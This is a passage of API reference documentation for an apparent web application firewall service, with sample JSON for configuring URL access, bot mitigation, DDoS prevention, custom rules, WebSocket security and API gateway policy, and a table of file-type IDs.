8192, "url_param_name_len": 4096, "url_param_num": 128, "url_param_value_len": 4096, "web_socket_protocol_check": false }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get URL Access

Get the configuration of URL access.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"rule_list": [{"action": "pass", "idx": 1, "name": "a", "url": "/1" } ], "status": true }, "template": false } }

Update URL Access

Update the configuration of URL access.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (UrlAccess)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"rule_list": [{"action": "pass", "idx": 1, "name": "a", "url": "/1" } ], "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Bot Mitgation

This section shows how to configure module bot mitgation.

Get Biometrics Based Detection

Get the configuration of biometrics based detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "bot_effect_time": 5, "click": true, "event_collect_time": 15, "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "keyboard": true, "mouse_movement": true, "screen_touch": true, "scroll": true, "status": true, "url_list": [{"idx": "1", "url": "/1" } ] }, "template": false } }

Update Biometrics Based Detection

Update the configuration of biometrics based detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (BiometricsBasedDetection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "bot_effect_time": 5, "click": true, "event_collect_time": 15, "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "keyboard": true, "mouse_movement": true, "screen_touch": true, "scroll": true, "status": true, "url_list": [{"idx": "1", "url": "/1" } ] }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Bot Deception

Get the configuration of bot deception.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "deception_url": "/url.html", "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "status": true, "url_list": [{"idx": 1, "url": "/1" } ] }, "template": false } }

Update Bot Deception

Update the configuration of bot deception.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (BotDeception)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "deception_url": "/url.html", "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "status": true, "url_list": [{"idx": 1, "url": "/1" } ] }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Known Bots

Get the configuration of known bots.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"bad_bots": true, "bad_bots_action": "block_period", "bad_bots_list": [{"allow_list": ["AB" ], "cat": "DoS", "status": true }, {"allow_list": ["Adsarobot" ], "cat": "Spam", "status": true }, {"allow_list": ["AskPartnerCobranding" ], "cat": "Trojan", "status": true }, {"allow_list": ["Absinthe" ], "cat": "Scanner", "status": true }, {"allow_list": ["AhrefsBot" ], "cat": "Crawler", "status": true } ], "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "good_bots_action": "bypass", "good_bots_list": [{"cat": "Known Search Engines", "deny_list": ["Ask" ], "status": true } ], "status": true }, "template": false } }

Update Known Bots

Update the configuration of known bots.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (KnownBots)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"bad_bots": true, "bad_bots_action": "block_period", "bad_bots_list": [{"allow_list": ["AB" ], "cat": "DoS", "status": true }, {"allow_list": ["Adsarobot" ], "cat": "Spam", "status": true }, {"allow_list": ["AskPartnerCobranding" ], "cat": "Trojan", "status": true }, {"allow_list": ["Absinthe" ], "cat": "Scanner", "status": true }, {"allow_list": ["AhrefsBot" ], "cat": "Crawler", "status": true } ], "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "good_bots_action": "bypass", "good_bots_list": [{"cat": "Known Search Engines", "deny_list": ["Ask" ], "status": true } ], "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Machine Learning Bot Detection

Get the configuration of machine learning bot detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "block_period", "anomaly_count": 1, "block_duration": 600, "challenge": "Real-Browser-Enforcement", "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "identification_method": "IP-and-User-Agent", "ip_list": [{"idx": 1, "ip": "1.1.1.1" } ], "model_type": "Strict", "status": true, "url_list": [{"idx": 1, "url": "/1" } ] }, "template": false } }

Update Machine Learning Bot Detection

Update the configuration of machine learning bot detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (MLBotDetection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "block_period", "anomaly_count": 1, "block_duration": 600, "challenge": "Real-Browser-Enforcement", "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "identification_method": "IP-and-User-Agent", "ip_list": [{"idx": 1, "ip": "1.1.1.1" } ], "model_type": "Strict", "status": true, "url_list": [{"idx": 1, "url": "/1" } ] }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Threshold Based Detection

Get the configuration of bot detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "block_period", "challenge": "RBE", "content_scraping": true, "crawler": true, "credential_brute_force": true, "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "occurrence": 10, "range": 60, "request_url": "^/login.(php|asp|aspx|jsp)", "slow_attack": true, "status": true, "vulnerability_scan": true }, "template": false } }

Update Threshold Based Detection

Update the configuration of bot detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (BotDetection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "block_period", "challenge": "RBE", "content_scraping": true, "crawler": true, "credential_brute_force": true, "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "occurrence": 10, "range": 60, "request_url": "^/login.(php|asp|aspx|jsp)", "slow_attack": true, "status": true, "vulnerability_scan": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

DDoS Prevention

This section shows how to configure module DDos prevention.

Get DDoS Prevention

Get the configuration of DDoS prevention.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "block_period", "block_period": 600, "challenge": "real-browser-enforcement", "conn_flood_check": true, "conn_flood_limit": 100, "http_access_limit": true, "http_flood_prevent": true, "http_request_limit": 1000, "http_session_limit": 500, "ip_exception": ["1.1.1.1-1.1.1.2,1.1.1.4" ], "status": true, "tcp_conn_num_limit": 255, "tcp_flood_prevent": false }, "template": false } }

Update DDoS Prevention

Update the configuration of DDoS prevention.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (DDoSPrevention)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "block_period", "block_period": 600, "challenge": "real-browser-enforcement", "conn_flood_check": true, "conn_flood_limit": 100, "http_access_limit": true, "http_flood_prevent": true, "http_request_limit": 1000, "http_session_limit": 500, "ip_exception": ["1.1.1.1-1.1.1.2,1.1.1.4" ], "status": true, "tcp_conn_num_limit": 255, "tcp_flood_prevent": false }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Export DDoS IP Exception list

Export DDoS IP Exception list.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"content": "encoding data", "file_name": "ddos_ip_exception_list.csv" } }

Advanced Applications

This section shows how to configure module advanced application.

Get Custom Rule

Get the configuration of custom rule.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"rule_list": [{"action": "block-period", "block_period": 600, "challenge": "real-browser-enforcement", "filter_list": [{"idx": 1, "ip": "1.1.1.1-1.1.1.255", "reverse_match": true, "type": "source-ip-filter" }, {"idx": 2, "reverse_match": true, "type": "user-filter", "username": "uname" }, {"idx": 3, "reverse_match": false, "type": "url-filter", "url": "/url" }, {"idx": 4, "name": "para_name", "type": "parameter", "value": "para_value" }, {"header_check": true, "header_name": "Accept", "header_reverse_match": false, "header_type": "predefined", "header_value": "test", "http_hline_empty_check": false, "http_hline_missing_check": false, "idx": 5, "method_check": true, "method_reverse_match": false, "method_value": "method", "type": "http-header-filter" }, {"header_check": true, "header_name": "aaa", "header_reverse_match": false, "header_type": "custom", "header_value": "test", "http_hline_empty_check": false, "http_hline_missing_check": false, "idx": 6, "method_check": false, "method_reverse_match": false, "method_value": "bbb", "type": "http-header-filter" }, {"content_types": ["application/xml", "text/xml" ], "idx": 7, "type": "content-type" }, {"code": "404", "idx": 8, "type": "response-code" }, {"cross_site_scripting": true, "generic_attacks": true, "idx": 9, "known_exploits": true, "sql_injection": true, "trojans": true, "type": "security-rules" }, {"idx": 10, "limit": 10, "type": "access-limit-filter" }, {"idx": 11, "timeout": 2, "type": "packet-interval" }, {"idx": 12, "timeout": 5, "type": "http-transaction" }, {"idx": 13, "occurrence": 1, "type": "occurrence", "within": 1 }, {"end": "02:00", "idx": 14, "start": "01:00", "time_type": "daily", "type": "time-range-filter" }, {"country_list": ["Afghanistan", "Bahamas" ], "idx": 15, "match_exclusively": true, "type": "geo-filter" } ], "idx": 1, "name": "TEST" } ], "status": true }, "template": false } }

Update Custom Rule

Update the configuration of custom rule.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (CustomRule)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"rule_list": [{"action": "block-period", "block_period": 600, "challenge": "real-browser-enforcement", "filter_list": [{"idx": 1, "ip": "1.1.1.1-1.1.1.255", "reverse_match": true, "type": "source-ip-filter" }, {"idx": 2, "reverse_match": true, "type": "user-filter", "username": "uname" }, {"idx": 3, "reverse_match": false, "type": "url-filter", "url": "/url" }, {"idx": 4, "name": "para_name", "type": "parameter", "value": "para_value" }, {"header_check": true, "header_name": "Accept", "header_reverse_match": false, "header_type": "predefined", "header_value": "test", "http_hline_empty_check": false, "http_hline_missing_check": false, "idx": 5, "method_check": true, "method_reverse_match": false, "method_value": "method", "type": "http-header-filter" }, {"header_check": true, "header_name": "aaa", "header_reverse_match": false, "header_type": "custom", "header_value": "test", "http_hline_empty_check": false, "http_hline_missing_check": false, "idx": 6, "method_check": false, "method_reverse_match": false, "method_value": "bbb", "type": "http-header-filter" }, {"content_types": ["application/xml", "text/xml" ], "idx": 7, "type": "content-type" }, {"code": "404", "idx": 8, "type": "response-code" }, {"cross_site_scripting": true, "generic_attacks": true, "idx": 9, "known_exploits": true, "sql_injection": true, "trojans": true, "type": "security-rules" }, {"idx": 10, "limit": 10, "type": "access-limit-filter" }, {"idx": 11, "timeout": 2, "type": "packet-interval" }, {"idx": 12, "timeout": 5, "type": "http-transaction" }, {"idx": 13, "occurrence": 1, "type": "occurrence", "within": 1 }, {"end": "02:00", "idx": 14, "start": "01:00", "time_type": "daily", "type": "time-range-filter" }, {"country_list": ["Afghanistan", "Bahamas" ], "idx": 15, "match_exclusively": true, "type": "geo-filter" } ], "idx": 1, "name": "TEST" } ], "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get WebSocket Security

Get the configuration of WebSocket security.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "rule_list": [{"allow_binary_text": true, "allow_plain_text": true, "allow_websocket": true, "block_attacks": true, "block_extensions": true, "block_extentions": true, "idx": 1, "max_frm_size": 64, "max_msg_size": 1024, "name": "WS-Rule", "origin_list": [{"idx": 1, "origin": "org1" } ], "url": "/" } ], "status": true }, "template": false } }

Update WebSocket Security

Update the configuration of WebSocket security.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (WebSocketSecurity)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "rule_list": [{"allow_binary_text": true, "allow_plain_text": true, "allow_websocket": true, "block_attacks": true, "block_extensions": true, "block_extentions": true, "idx": 1, "max_frm_size": 64, "max_msg_size": 1024, "name": "WS-Rule", "origin_list": [{"idx": 1, "origin": "org1" } ], "url": "/" } ], "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Update Template Custom Rule

Update the configuration of custom rule of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (CustomRule)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"rule_list": [{"action": "block-period", "block_period": 600, "challenge": "real-browser-enforcement", "filter_list": [{"idx": 1, "ip": "1.1.1.1-1.1.1.255", "reverse_match": true, "type": "source-ip-filter" }, {"idx": 2, "reverse_match": true, "type": "user-filter", "username": "uname" }, {"idx": 3, "reverse_match": false, "type": "url-filter", "url": "/url" }, {"idx": 4, "name": "para_name", "type": "parameter", "value": "para_value" }, {"header_check": true, "header_name": "Accept", "header_reverse_match": false, "header_type": "predefined", "header_value": "test", "http_hline_empty_check": false, "http_hline_missing_check": false, "idx": 5, "method_check": true, "method_reverse_match": false, "method_value": "method", "type": "http-header-filter" }, {"header_check": true, "header_name": "aaa", "header_reverse_match": false, "header_type": "custom", "header_value": "test", "http_hline_empty_check": false, "http_hline_missing_check": false, "idx": 6, "method_check": false, "method_reverse_match": false, "method_value": "bbb", "type": "http-header-filter" }, {"content_types": ["application/xml", "text/xml" ], "idx": 7, "type": "content-type" }, {"code": "404", "idx": 8, "type": "response-code" }, {"cross_site_scripting": true, "generic_attacks": true, "idx": 9, "known_exploits": true, "sql_injection": true, "trojans": true, "type": "security-rules" }, {"idx": 10, "limit": 10, "type": "access-limit-filter" }, {"idx": 11, "timeout": 2, "type": "packet-interval" }, {"idx": 12, "timeout": 5, "type": "http-transaction" }, {"idx": 13, "occurrence": 1, "type": "occurrence", "within": 1 }, {"end": "02:00", "idx": 14, "start": "01:00", "time_type": "daily", "type": "time-range-filter" }, {"country_list": ["Afghanistan", "Bahamas" ], "idx": 15, "match_exclusively": true, "type": "geo-filter" } ], "idx": 1, "name": "TEST" } ], "status": true } }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

API Protection

This section shows how to configure module api protection.

Get API Gateway Policy

Get the configuration of API gateway policy.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "rule_list": [{"api_key_loc": "http-header", "api_key_verify": true, "field_name": "API_KEY", "idx": 1, "name": "test_rule", "rate_limit_period": 1, "rate_limit_req": 10, "url_list": [{"backend": "/back", "frontend": "/front", "idx": 1 } ], "user_list": ["test_user" ] } ], "status": true, "user_list": [{"api_key": "4DxCGdrr7imTJOCW05ng2ixKV7Qs0UB3mk0mYcA4", "comments": "test user", "create_time": "2022-03-24 21:27:07", "email": "test@test.com", "idx": 1, "ip_list": [{"idx": 1, "ip": "1.1.1.1" } ], "name": "test_user", "referer_list": [{"idx": 1, "referer": "referer1" } ], "uuid": "2858b0d0-abb9-11ec-a6ca-b694bf1ae8ed" } ] }, "template": false } }

Update API Gateway Policy

Update the configuration of API gateway policy.

To add a new API user, a sample body is added to the request that conforms to the following JSON schema:

"api_user": [ { "name": "user1", "email": "user1@sina.com", "comments": "user1", "ip-access-list": ["1.1.1.1"], "http-referer-list": ["www.sina.com"] }, ]

To add a new API policy, a sample body is added to the request that conforms to the following JSON schema:

"api_policy": [ { "api-key-verification": "enable", "api-key-location": "http-header", "match-url-prefixes": [ { "frontend-prefix": "/front_prefix", "backend-prefix": "/back_prefix" } ], "api-user-list": ["he"], "rate-limit-period":

required	object (ApiProtection)
template required	boolean Enum: true false Enable to inherit configuration from template
property name* additional property	any

file-type-id	file-type-name
00001	GIF
00002	JPG
00010	BMP
00018	PNG
00019	TIFF/TIF
00023	Windows Metafile Format(.wmf)
00024	Corel Draw Picture
00028	Windows Icon
00030	Microsoft Document Image(.mdi)
00032	Windows Enhanced Metafile(.emf)
00038	Photoshop Image File(.psd)
00050	JPEG-2000 Image File Format(.jp2)
00054	Multipage PCX Bitmap File(.dcx)
00059	XPS
00089	TXT
00060	Word(.docx)
00061	Word Macro-Enabled(.docm)
00062	Word Template(.dotx)
00063	Word Macro-Enabled Template(.dotm)
00064	Excel(.xlsx)
00065	Excel Macro-Enabled(.xlsm)
00066	Excel Template(.xltx)
00067	Excel Macro-Enabled Template(.xltm)
00068	Excel Add-In(.xlam)
00069	PPT(.pptx)
00070	PPT Macro-Enabled(.pptm)
00071	PPT Template(.potx)
00072	PPT Macro-Enabled Template(.potm)
00073	PPT Add-In(.ppam)
00074	PPT Show(.ppsx)
00075	PPT Macro-Enabled Show(.ppsm)
00076	Visio Drawing(.vsdx)
00077	Visio Macro-Enabled Drawing(.vsdm)
00078	Visio Stencil(.vssx)
00079	Visio Macro-Enabled Stencil(.vssm)
00080	Visio Template(.vstx)
00081	Visio Macro-Enabled Template(.vstm)
00003	PDF
00004	XML
00021	CHM
00022	EXE
00026	RTF
00036	Windows Help File(.hlp)
00042	Windows Mobile Note(.pwi)
00043	Windows Registry Text(.reg)
00046	SQL Server 2000 Database(.mdf)
00047	Java Archive(.jar)
00048	Windows Printer Spool File(.shd)
00049	Windows Shortcut File(.lnk)
00051	Quark Express Document(.qxd)
00053	Windows MS Info File(.mof)
00055	Microsoft Access Database(.MDB)
00056	SPSS Data(.SAV)
00083	RedHat Package Manager file(.RPM)
00082	VMware Virtual Disk File(.vmdk)
00084	Lotus WordPro document(.LWP)
00085	Adobe encapsulated PostScript file(.EPS)
00086	Lotus 1-2-3 spreadsheet(.WK)
00087	SkinCrafter skin file(.skf)
00088	Nero CD Compilation(.NRI)
00090	Microsoft Office Word(.doc)
00091	Microsoft Office Excel(.xls)
00092	Microsoft Office PowerPoint(.ppt)
00093	Hancom Office Hanword(.hwp)
00005	MP3
00006	MIDI
00007	WAVE
00031	Apple CoreAudio(.caf)
00037	Microsoft Advanced Streaming(.asf)
00039	Real Audio File(.ra)
00044	Apple Lossless Audio(.m4a)
00052	Digital Speech Standard(.dss)
00011	Real Media File(.rm)
00012	MPEG v4
00013	3GPP
00015	AVI
00020	Macromedia Flash
00035	Windows Animated Cursor
00045	DVD Video Movie File(.vob)
00008	RAR
00009	ZIP
00017	TAR
00025	7-ZIP
00027	Debian Package
00029	Microsoft Cabinet File
00033	Unix Archiver File(.ar)
00034	Installshield Cabinet Archive Data
00040	AIN Archive Data(.ain)
00041	BZIP2 Archive(.bz2)
00057	WinZIP ZIPX Archive(ZIPx)
00058	Gzipped Tape Archive(TGZ)
00094	TXT(.txt)
00095	ZIP(.zip)
00096	7-ZIP(.7z)
00097	Debian Package(.pkg)
00098	Unix Archiver File(.ar)
00099	AIN Archive Data(.ain)
00100	BZIP2 Archive(.bz2)
00101	Gzipped Tape Archive(.tgz)
00102	Word(.docx)
00103	Word Macro-Enabled(.docm)
00104	Word Template(.dotx)
00105	Word Macro-Enabled Template(.dotm)
00106	Excel(.xlsx)
00107	Excel Macro-Enabled(.xlsm)
00108	Excel Template(.xltx)
00109	Excel Macro-Enabled Template(.xltm)
00110	Excel Add-In(.xlam)
00111	PPT(.pptx)
00112	PPT Macro-Enabled(.pptm)
00113	PPT Template(.potx)
00114	PPT Macro-Enabled Template(.potm)
00115	PPT Add-In(.ppam)
00116	PPT Show(.ppsx)
00117	PPT Macro-Enabled Show(.ppsm)
00118	Visio Drawing(.vsdx)
00119	Visio Macro-Enabled Drawing(.vsdm)
00120	Visio Stencil(.vssx)
00121	Visio Macro-Enabled Stencil(.vssm)
00122	Visio Template(.vstx)
00123	Visio Macro-Enabled Template(.vstm)
00124	PDF(.pdf)
00125	XML(.xml)
00126	EXE(.exe)
00127	Rich Text Format(.rtf)
00128	Windows Help File(.hlp)
00129	Windows Mobile Note(.pwi)
00130	Windows Registry Text(.reg)
00131	SQL Server 2000 Database(.mdf)
00132	Java Archive(.jar)
00133	Windows Printer Spool File(.shd)
00134	Windows Shortcut File(.lnk)
00135	Quark Express Document(.qxd)
00136	Windows MS Info File(.mof)
00137	Microsoft Access Database(.MDB)
00138	SPSS Data(.SAV)
00139	RedHat Package Manager file(.RPM)
00140	VMware Virtual Disk File(.vmdk)
00141	Adobe encapsulated PostScript file(.EPS)
00142	SPSS Data(.SAV)
00145	Lotus 1-2-3 spreadsheet(.WK)
00146	SkinCrafter skin file(.skf)
00147	Nero CD Compilation(.NRI)
00148	Microsoft Office Word(.doc)
00149	Microsoft Office Excel(.xls)
00150	Microsoft Office PowerPoint(.ppt)
00151	Hancom Office Hanword(.hwp)
00152	PHP(.php)
00153	JSP(.jsp)
00154	ASPX(.aspx)
00155	GIF(.gif)
00156	JPG(.jpg)
00157	BMP(.bmp)
00158	SPSS Data(.SAV)
00159	Windows Metafile Format(.wmf)
00160	Windows Icon(.icon)
00161	Microsoft Document Image(.mdi)
00162	Windows Enhanced Metafile(.emf)
00163	Photoshop Image File(.psd)
00164	JPEG-2000 Image File Format(.jp2)
00165	Multipage PCX Bitmap File(.dcx)(.SAV)
00166	SQL(.sql)